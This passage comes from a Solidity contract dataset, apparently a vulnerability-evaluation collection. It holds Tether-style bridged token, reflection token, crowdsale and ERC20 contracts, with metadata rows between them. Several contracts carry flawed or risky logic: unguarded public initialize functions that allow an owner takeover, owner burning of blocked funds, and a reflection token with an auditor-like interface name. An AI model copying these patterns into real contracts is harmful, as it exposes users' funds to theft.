_PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSAUpgradeable.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
CountersUpgradeable.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
uint256[49] private __gap;
}
contract WithBlockedList is OwnableUpgradeable {
modifier onlyNotBlocked() {
require(!isBlocked[_msgSender()], "Blocked: transfers are blocked for user");
_;
}
mapping (address => bool) public isBlocked;
function addToBlockedList (address _user) public onlyOwner {
isBlocked[_user] = true;
emit BlockPlaced(_user);
}
function removeFromBlockedList (address _user) public onlyOwner {
isBlocked[_user] = false;
emit BlockReleased(_user);
}
event BlockPlaced(address indexed _user);
event BlockReleased(address indexed _user);
}
contract TetherToken is Initializable, ERC20PermitUpgradeable, OwnableUpgradeable, WithBlockedList {
mapping(address => bool) public isTrusted;
uint8 private tetherDecimals;
function initialize(string memory _name,
string memory _symbol,
uint8 _decimals) public {
tetherDecimals = _decimals;
__Ownable_init();
__ERC20_init(_name, _symbol);
__ERC20Permit_init(_name);
}
function decimals() public view virtual override returns (uint8) {
return tetherDecimals;
}
function allowance(address _owner, address _spender) public view virtual override returns (uint256) {
if (isTrusted[_spender]) {
return 2**256 - 1;
}
return super.allowance(_owner, _spender);
}
function transfer(address _recipient, uint256 _amount) public virtual override onlyNotBlocked returns (bool) {
require(_recipient != address(this), "ERC20: transfer to the contract address");
return super.transfer(_recipient, _amount);
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public virtual override onlyNotBlocked returns (bool) {
require(_recipient != address(this), "ERC20: transfer to the contract address");
require(!isBlocked[_sender]);
if (isTrusted[_recipient]) {
_transfer(_sender, _recipient, _amount);
return true;
}
return super.transferFrom(_sender, _recipient, _amount);
}
function multiTransfer(address[] memory _recipients, uint256[] memory _values) public onlyNotBlocked {
require(_recipients.length == _values.length , "ERC20: multiTransfer mismatch");
for (uint256 i = 0; i < _recipients.length; i++) {
transfer(_recipients[i], _values[i]);
}
}
function addPrivilegedContract(address _trustedDeFiContract) public onlyOwner {
isTrusted[_trustedDeFiContract] = true;
emit NewPrivilegedContract(_trustedDeFiContract);
}
function removePrivilegedContract(address _trustedDeFiContract) public onlyOwner {
isTrusted[_trustedDeFiContract] = false;
emit RemovedPrivilegedContract(_trustedDeFiContract);
}
function mint(address _destination, uint256 _amount) public onlyOwner {
_mint(_destination, _amount);
emit Mint(_destination, _amount);
}
function redeem(uint256 _amount) public onlyOwner {
_burn(owner(), _amount);
emit Redeem(_amount);
}
function destroyBlockedFunds (address _blockedUser) public onlyOwner {
require(isBlocked[_blockedUser]);
uint blockedFunds = balanceOf(_blockedUser);
_burn(_blockedUser, blockedFunds);
emit DestroyedBlockedFunds(_blockedUser, blockedFunds);
}
event NewPrivilegedContract(address indexed _contract);
event RemovedPrivilegedContract(address indexed _contract);
event Mint(address indexed _destination, uint _amount);
event Redeem(uint _amount);
event DestroyedBlockedFunds(address indexed _blockedUser, uint _balance);
}
interface IArbToken {
function bridgeMint(address account, uint256 amount) external;
function bridgeBurn(address account, uint256 amount) external;
function l1Address() external view returns (address);
}
contract PrivateLinkProtocol is TetherToken, IArbToken {
address public l2Gateway;
address public override l1Address;
modifier onlyGateway {
require(msg.sender == l2Gateway, "ONLY_GATEWAY");
_;
}
function initialize(string memory _name,
string memory _symbol,
uint8 _decimals,
address _l2Gateway,
address _l1Counterpart) public {
require(_l2Gateway != address(0), "INVALID_GATEWAY");
l2Gateway = _l2Gateway;
l1Address = _l1Counterpart;
TetherToken.initialize(_name, _symbol, _decimals);
}
function bridgeMint(address account, uint256 amount) external virtual override onlyGateway {
_mint(account, amount);
emit Mint(account, amount);
}
function bridgeBurn(address account, uint256 amount) external virtual override onlyGateway {
_burn(account, amount);
emit Redeem(amount);
}
}
| 54,126 | 295 |
60f2aa47e7e92ee4d6e4d4c9c563d89d0ed0b4045935464863ff7449f1e9f4c9
| 18,835 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/89/89Dcf2557585b61a4a3b9D295285fE2daF630287_SuperAvax.sol
| 4,187 | 15,804 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SuperAvax is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'Super Avax';
string private _symbol = 'Super Avax';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(10);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 96,442 | 296 |
911dc4eba4246734fd1709a8eee6941a07250aff0bc9209d791ed41c39cdac88
| 17,753 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x8d040556214125f3fe7d8b22cf17c364603a6035.sol
| 3,708 | 13,474 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0X0, _to, _amount);
return true;
}
function finishMinting() public onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract StrikeCoin is MintableToken, Pausable{
string public name = "StrikeCoin Token";
string public symbol = "STC";
uint256 public decimals = 18;
event Ev(string message, address whom, uint256 val);
struct XRec {
bool inList;
address next;
address prev;
uint256 val;
}
struct QueueRecord {
address whom;
uint256 val;
}
address first = 0x0;
address last = 0x0;
mapping (address => XRec) public theList;
QueueRecord[] theQueue;
// add a record to the END of the list
function add(address whom, uint256 value) internal {
theList[whom] = XRec(true,0x0,last,value);
if (last != 0x0) {
theList[last].next = whom;
} else {
first = whom;
}
last = whom;
Ev("add",whom,value);
}
function remove(address whom) internal {
if (first == whom) {
first = theList[whom].next;
theList[whom] = XRec(false,0x0,0x0,0);
return;
}
address next = theList[whom].next;
address prev = theList[whom].prev;
if (prev != 0x0) {
theList[prev].next = next;
}
if (next != 0x0) {
theList[next].prev = prev;
}
theList[whom] =XRec(false,0x0,0x0,0);
Ev("remove",whom,0);
}
function update(address whom, uint256 value) internal {
if (value != 0) {
if (!theList[whom].inList) {
add(whom,value);
} else {
theList[whom].val = value;
Ev("update",whom,value);
}
return;
}
if (theList[whom].inList) {
remove(whom);
}
}
function transfer(address _to, uint _value) public whenNotPaused returns (bool) {
bool result = super.transfer(_to, _value);
update(msg.sender,balances[msg.sender]);
update(_to,balances[_to]);
return result;
}
function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) {
bool result = super.transferFrom(_from, _to, _value);
update(_from,balances[_from]);
update(_to,balances[_to]);
return result;
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
bool result = super.mint(_to,_amount);
update(_to,balances[_to]);
return result;
}
function StrikeCoin() public{
owner = msg.sender;
}
function changeOwner(address newOwner) public onlyOwner {
owner = newOwner;
}
}
contract StrikeCoinCrowdsale is Ownable, Pausable {
using SafeMath for uint256;
StrikeCoin public token = new StrikeCoin();
// start and end times
uint256 public startTimestamp = 1516773600;
uint256 public endTimestamp = 1519452000;
uint256 etherToWei = 10**18;
// address where funds are collected and tokens distributed
address public hardwareWallet = 0xb0c7fc7fFe80867A5Bd2e31e43d4D494085321B3;
address public restrictedWallet = 0xD36AA5Eaf6B1D6eC896E4A110501a872773a0125;
address public bonusWallet = 0xb9325bd27e91D793470F84e9B3550596d34Bbe26;
mapping (address => uint256) public deposits;
uint256 public numberOfPurchasers;
// how many bonus tokens given in ICO
uint[] private bonus = [8,8,4,4,2,2,0,0,0,0];
uint256 public rate = 2400; // 2400 STC is one Ether
// amount of raised money in wei
uint256 public weiRaised;
uint256 public tokensSold;
uint256 public tokensGranted = 0;
uint256 public minContribution = 1 finney;
uint256 public hardCapEther = 50000;
uint256 hardcap = hardCapEther * etherToWei;
uint256 maxBonusRate = 20; // Percent;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event MainSaleClosed();
uint256 public weiRaisedInPresale = 0 ether;
uint256 public grantedTokensHardCap ;
function setWallet(address _wallet) public onlyOwner {
require(_wallet != 0x0);
hardwareWallet = _wallet;
}
function setRestrictedWallet(address _restrictedWallet) public onlyOwner {
require(_restrictedWallet != 0x0);
restrictedWallet = _restrictedWallet;
}
function setHardCapEther(uint256 newEtherAmt) public onlyOwner{
require(newEtherAmt > 0);
hardCapEther = newEtherAmt;
hardcap = hardCapEther * etherToWei;
grantedTokensHardCap = etherToWei * hardCapEther*rate*40/60*(maxBonusRate+100)/100;
}
function StrikeCoinCrowdsale() public {
grantedTokensHardCap = etherToWei * hardCapEther*rate*40/60*(maxBonusRate+100)/100;
require(startTimestamp >= now);
require(endTimestamp >= startTimestamp);
}
// check if valid purchase
modifier validPurchase {
require(now >= startTimestamp);
require(now < endTimestamp);
require(msg.value >= minContribution);
_;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
if (now > endTimestamp)
return true;
return false;
}
// low level token purchase function
function buyTokens(address beneficiary) public payable validPurchase {
require(beneficiary != 0x0);
uint256 weiAmount = msg.value;
if (deposits[msg.sender] == 0) {
numberOfPurchasers++;
}
deposits[msg.sender] = weiAmount.add(deposits[msg.sender]);
uint256 daysInSale = (now - startTimestamp) / (1 days);
uint256 thisBonus = 0;
if(daysInSale < 7){
thisBonus = bonus[daysInSale];
}
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
uint256 extraBonus = tokens.mul(thisBonus);
extraBonus = extraBonus.div(100);
uint256 finalTokenCount ;
tokens = tokens.add(extraBonus);
finalTokenCount = tokens.add(tokensSold);
uint256 weiRaisedSoFar = weiRaised.add(weiAmount);
require(weiRaisedSoFar + weiRaisedInPresale <= hardcap);
weiRaised = weiRaisedSoFar;
tokensSold = finalTokenCount;
token.mint(beneficiary, tokens);
hardwareWallet.transfer(msg.value);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
}
function grantTokens(address beneficiary,uint256 stcTokenCount) public onlyOwner{
stcTokenCount = stcTokenCount * etherToWei;
uint256 finalGrantedTokenCount = tokensGranted.add(stcTokenCount);
require(finalGrantedTokenCount<grantedTokensHardCap);
tokensGranted = finalGrantedTokenCount;
token.mint(beneficiary,stcTokenCount);
}
// finish mining coins and transfer ownership of Change coin to owner
function finishMinting() public onlyOwner returns(bool){
require(hasEnded());
// Create the bonus tokens (20% * 2400 * ETH collected) - extra tokens made from the 5%, 4%
uint256 deltaBonusTokens = tokensSold-weiRaised*rate;
uint256 bonusTokens = weiRaised*maxBonusRate*rate/100-deltaBonusTokens;
// tokensSold and weiRaised
token.mint(bonusWallet,bonusTokens);
// Create the preico tokens (3000 * ETH collected)
uint256 preICOTokens = weiRaisedInPresale*3000;
token.mint(bonusWallet,preICOTokens);
uint issuedTokenSupply = token.totalSupply();
uint restrictedTokens = (issuedTokenSupply-tokensGranted)*40/60-tokensGranted; // 40% are for advisors
if(restrictedTokens>0){
token.mint(restrictedWallet, restrictedTokens);
tokensGranted = tokensGranted + restrictedTokens;
}
token.finishMinting();
token.transferOwnership(owner);
MainSaleClosed();
return true;
}
// fallback function can be used to buy tokens
function () payable public {
buyTokens(msg.sender);
}
function setWeiRaisedInPresale(uint256 amount) onlyOwner public {
require(amount>=0);
weiRaisedInPresale = amount;
}
function setEndTimeStamp(uint256 end) onlyOwner public {
require(end>now);
endTimestamp = end;
}
function setStartTimeStamp(uint256 start) onlyOwner public {
startTimestamp = start;
}
function setBonusAddress(address _bonusWallet) onlyOwner public {
require(_bonusWallet != 0x0);
bonusWallet = _bonusWallet;
}
function pauseTrading() onlyOwner public{
token.pause();
}
function startTrading() onlyOwner public{
token.unpause();
}
function changeTokenOwner(address newOwner) public onlyOwner {
require(hasEnded());
token.changeOwner(newOwner);
}
}
| 216,429 | 297 |
8dab9d4d761999dfc65ad09f929c3dbb81ed785ca4703b0c7e33ef8c5e959e30
| 14,700 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xee5fe244406f35d9b4ddb488a64d51456630befc.sol
| 3,613 | 13,544 |
pragma solidity ^0.4.21;
contract ERC20Interface {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
}
contract ERC20Token is ERC20Interface {
using SafeMath for uint256;
// Total amount of tokens issued
uint256 internal totalTokenIssued;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) internal allowed;
function totalSupply() public view returns (uint256) {
return totalTokenIssued;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return (size > 0);
}
function transfer(address _to, uint256 _amount) public returns (bool) {
require(_to != address(0x0));
// Do not allow to transfer token to contract address to avoid tokens getting stuck
require(isContract(_to) == false);
// amount sent cannot exceed balance
require(balances[msg.sender] >= _amount);
// update balances
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
// log event
emit Transfer(msg.sender, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool) {
require(_spender != address(0x0));
// update allowed amount
allowed[msg.sender][_spender] = _amount;
// log event
emit Approval(msg.sender, _spender, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) {
require(_to != address(0x0));
// Do not allow to transfer token to contract address to avoid tokens getting stuck
require(isContract(_to) == false);
// balance checks
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
// update balances and allowed amount
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
// log event
emit Transfer(_from, _to, _amount);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
return (a / b);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return (a - b);
}
